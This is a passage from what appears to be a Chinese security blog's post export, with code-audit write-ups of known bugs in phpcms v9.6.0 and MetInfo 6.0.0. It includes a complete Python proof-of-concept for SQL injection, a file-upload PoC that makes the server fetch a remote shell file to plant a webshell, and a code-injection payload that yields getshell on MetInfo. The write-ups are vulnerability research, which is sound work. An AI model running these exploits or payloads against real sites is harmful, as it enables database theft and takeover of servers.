所以现在如果能找到一个经过sys_auth 并能回显给我payload的地方即可 /Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/attachment/attachments.php 123456789101112131415public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('||', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } } 先经过safe_replace 函数,过滤一遍,然后存入数组,如果不满足条件进入 set_cookie函数12345678910111213public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } 可以看到,对传入的value 进行一次sys_auth 然后setcookie,可以在返回包中拿到回显 最后还需要存在一个cookie,让我们不被跳转到main界面/Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/wap/index.php1234function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); 通过GET方法得到$siteid,然后传到了set_cookie()函数中,满足条件。 攻击链: 访问 /index.php?m=wap&a=index&siteid=1 。获取响应头的set-Cookie字段。 将前一步获取到的字段赋值给userid_flash,作为POST参数。访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=【payload】 获取返回头的set—Cookie字段,此即为加密后的payload 访问 /index.php?m=content&c=down&a_k=【加密后的payload】,注入成功。 0x02 Poc1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950# -*- coding: utf-8 -*-# @Time : 2018-12-20 23:24# @Author : Patrilic# @FileName: sql_poc.py# @Software: PyCharmimport requestsimport reimport sysdef poc(url): try: step1 = url + \"/index.php?m=wap&c=index&a=init&siteid=1\" response = requests.get(step1) post = { \"userid_flash\":response.cookies[\"okuga_siteid\"] } print(\"[+] Get Cookie : \" + response.cookies[\"okuga_siteid\"]) # 获取cookie,避免登陆失效 step2 = url + \"//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26\" response = requests.post(step2, post) # print(response.cookies) sqli_payload = response.cookies['okuga_att_json'] print(\"[+] Get Sqli_poc : \" + sqli_payload) # 获取加密 payload step3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload response = requests.get(step3) # print(response.text) user = re.findall(r'</b>XPATH syntax error:(.*?)<br />', response.text) # 注入 try: user[0] print(\"[+] Congraduations! This url is Vulnerable! \") except: print(\"[-] Not vulnerable!\") except: passdef main(): url = sys.argv[1] poc(url)if __name__ == '__main__': main()","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"代码审计","slug":"代码审计","permalink":"http://patrilic.top/tags/代码审计/"}]},{"title":"phpcms_v9.6.0 任意文件上传","slug":"phpcms_v9.6.0 任意文件上传","date":"2019-04-03T02:58:32.000Z","updated":"2019-08-20T15:29:32.111Z","comments":true,"path":"2019/04/03/phpcms_v9.6.0 任意文件上传/","link":"","permalink":"http://patrilic.top/2019/04/03/phpcms_v9.6.0 任意文件上传/","excerpt":"","text":"0x01 漏洞分析漏洞 url: http://localhost/index.php?m=member&c=index&a=register&siteid=1 跟进 /Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/member/index.php 漏洞代码从129行-136行1234567if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } $_POST[‘info’] 被函数 new_html_special_chars 过滤一遍1234567function new_html_special_chars($string) { $encoding = 'utf-8'; if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15'; if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding); foreach($string as $key => $val) $string[$key] = new_html_special_chars($val); return $string;} htmlspecialchars($string, ENT_QUOTES, $encoding)实体化编码 单引号和双引号1234567891011121314151617181920212223242526272829303132333435function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename']; $info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = \"$name ������Ҫ��\"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage(\"$name �������� $minlength ���ַ���\"); if (!array_key_exists($field, $this->fields)) showmessage('ģ���в�����'.$field.'�ֶ�'); if($maxlength && $length > $maxlength && !$isimport) { showmessage(\"$name ���ó��� $maxlength ���ַ���\"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage(\"$name ��ֵ�����ظ���\"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info; } 参数传入:首先经过 trim_script 函数, 过滤掉script和iframe1234567function trim_script($str) { $str = preg_replace ( '/\\<([\\/]?)script([^\\>]*?)\\>/si', '&lt;\\\\1script\\\\2&gt;', $str ); $str = preg_replace ( '/\\<([\\/]?)iframe([^\\>]*?)\\>/si', '&lt;\\\\1iframe\\\\2&gt;', $str ); $str = preg_replace ( '/\\<([\\/]?)frame([^\\>]*?)\\>/si', '&lt;\\\\1frame\\\\2&gt;', $str ); $str = preg_replace ( '/]]\\>/si', ']] >', $str ); return $str;} 再经过safe_replace 函数,过滤特殊字符12345678910111213141516function safe_replace($string) { $string = str_replace('%20','',$string); // 空格 $string = str_replace('%27','',$string); // 单引号 $string = str_replace('%2527','',$string); // 双重编码 $string = str_replace('*','',$string); $string = str_replace('\"','&quot;',$string); $string = str_replace(\"'\",'',$string); $string = str_replace('\"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','&lt;',$string); $string = str_replace('>','&gt;',$string); $string = str_replace(\"{\",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\\\','',$string); return $string;} 12$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); ediotr 方法1234567891011function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; if(isset($_POST['spider_img'])) $enablesaveimage = 0; if($enablesaveimage) { $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); } return $value; } $value = $this->attachment->download(‘content’, $value, $watermark_enable); 传入的被带入download函数 123456789101112131415161718192021222324252627282930313233343536373839404142434445function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all(\"/(href|src)=([\\\"|']?)([^ \\\"'>]+\\.($ext))\\\\2/i\", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); } waf: if(!preg_match_all(“/(href|src)=([\\”|’]?)([^ \\”‘>]+.($ext))\\2/i”, $string, $matches)) return $value; 后缀:$ext = ‘gif|jpg|jpeg|bmp|png’使用 php#.jpg 绕过 进入到 fillurl 函数在 301 行去掉了 # \\$pos = strpos($surl,’#’); $remotefileurls = http://url/shell.php 0x02 漏洞复现 0x03 POC1234567891011121314151617181920212223# -*- coding: utf-8 -*-# @Time : 2018-12-20 22:57# @Author : Patrilic# @FileName: file_writein_poc.py# @Software: PyCharmimport requestsurl = 'http://localhost/phpcms_V9.6.0/install_package/index.php?m=member&c=index&a=register&siteid=1'data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': 'test@test.com', 'info[content]': '<img src=http://url/shell.txt?.php#.jpg>', 'dosubmit': '1',}poc = requests.post(url,data= data)print(poc)","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"代码审计","slug":"代码审计","permalink":"http://patrilic.top/tags/代码审计/"}]},{"title":"Metinfo 6.0.0 任意代码写入导致getshell","slug":"Metinfo 6.0.0 任意代码写入","date":"2019-04-03T02:58:32.000Z","updated":"2019-08-20T15:29:36.214Z","comments":true,"path":"2019/04/03/Metinfo 6.0.0 任意代码写入/","link":"","permalink":"http://patrilic.top/2019/04/03/Metinfo 6.0.0 任意代码写入/","excerpt":"","text":"0x01 漏洞分析漏洞关键点位于/Applications/MxSrvs/www/MetInfo6.0.0/admin/include/global.func.php中约878行的Copyindx函数12345678function Copyindx($newindx,$type){ if(!file_exists($newindx)){ $oldcont =\"<?php\\n# MetInfo Enterprise Content Management System \\n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \\n\\$filpy = basename(dirname(__FILE__));\\n\\$fmodule=$type;\\nrequire_once '../include/module.php'; \\nrequire_once \\$module; \\n# This program is an open source system, commercial use, please consciously to purchase commercial license.\\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\\n?>\"; $fp = fopen($newindx,w); fputs($fp, $oldcont); fclose($fp); }} $type可控,并且直接带入到php代码中,前提是不存在 $newindx 变量,往上跟函数 位于/Applications/MxSrvs/www/MetInfo6.0.0/admin/column/global.func.php的124行调用该函数1Copyindx(ROOTPATH.$foldername.'/index.php',$module); 规定 $newindx 为目录名 + /index.php, 然后 $module 该文件 再往上跟,找到/Applications/MxSrvs/www/MetInfo6.0.0/admin/column/save.php 12345678910111213if($if_in==0){ if($filename!='' && $filename!=$filenameold){ $filenameok = $db->get_one(\"SELECT * FROM {$met_column} WHERE filename='{$filename}' and foldername='$foldername' and id!='$id'\"); if($filenameok)metsave('-1',$lang_modFilenameok); if(is_numeric($filename) && $filename!=$id && $met_pseudo){ $filenameok1 = $db->get_one(\"SELECT * FROM {$met_column} WHERE id='{$filename}' and foldername='$foldername'\"); if($filenameok1)metsave('-1',$lang_jsx30); } } $filedir=\"../../\".$foldername; if(!file_exists($filedir))@mkdir($filedir,0777); if(!file_exists($filedir))metsave('-1',$lang_modFiledir); column_copyconfig($foldername,$module,$id); 满足该条件即可调用colnmn_copyconfig()函数 攻击流程 登陆后台 构造payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;phpinfo();/* 访问/upload/index.php 注意: foldername可控,如果upload目录下存在index.php,不会重复写入,更换目录即可 /* 必须要求,会注释掉后面的require_once ‘../include/module.php’; 防止跳转到404页面 0x02 漏洞复现","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"代码审计","slug":"代码审计","permalink":"http://patrilic.top/tags/代码审计/"}]},{"title":"About Me","slug":"Hello","date":"2019-04-01T03:20:33.000Z","updated":"2020-07-30T02:45:00.050Z","comments":true,"path":"2019/04/01/Hello/","link":"","permalink":"http://patrilic.top/2019/04/01/Hello/","excerpt":"","text":"Welcome To My Blog❤️愿世界美好,我仍然是我 Contact","categories":[{"name":"Diary","slug":"Diary","permalink":"http://patrilic.top/categories/Diary/"}],"tags":[]}]}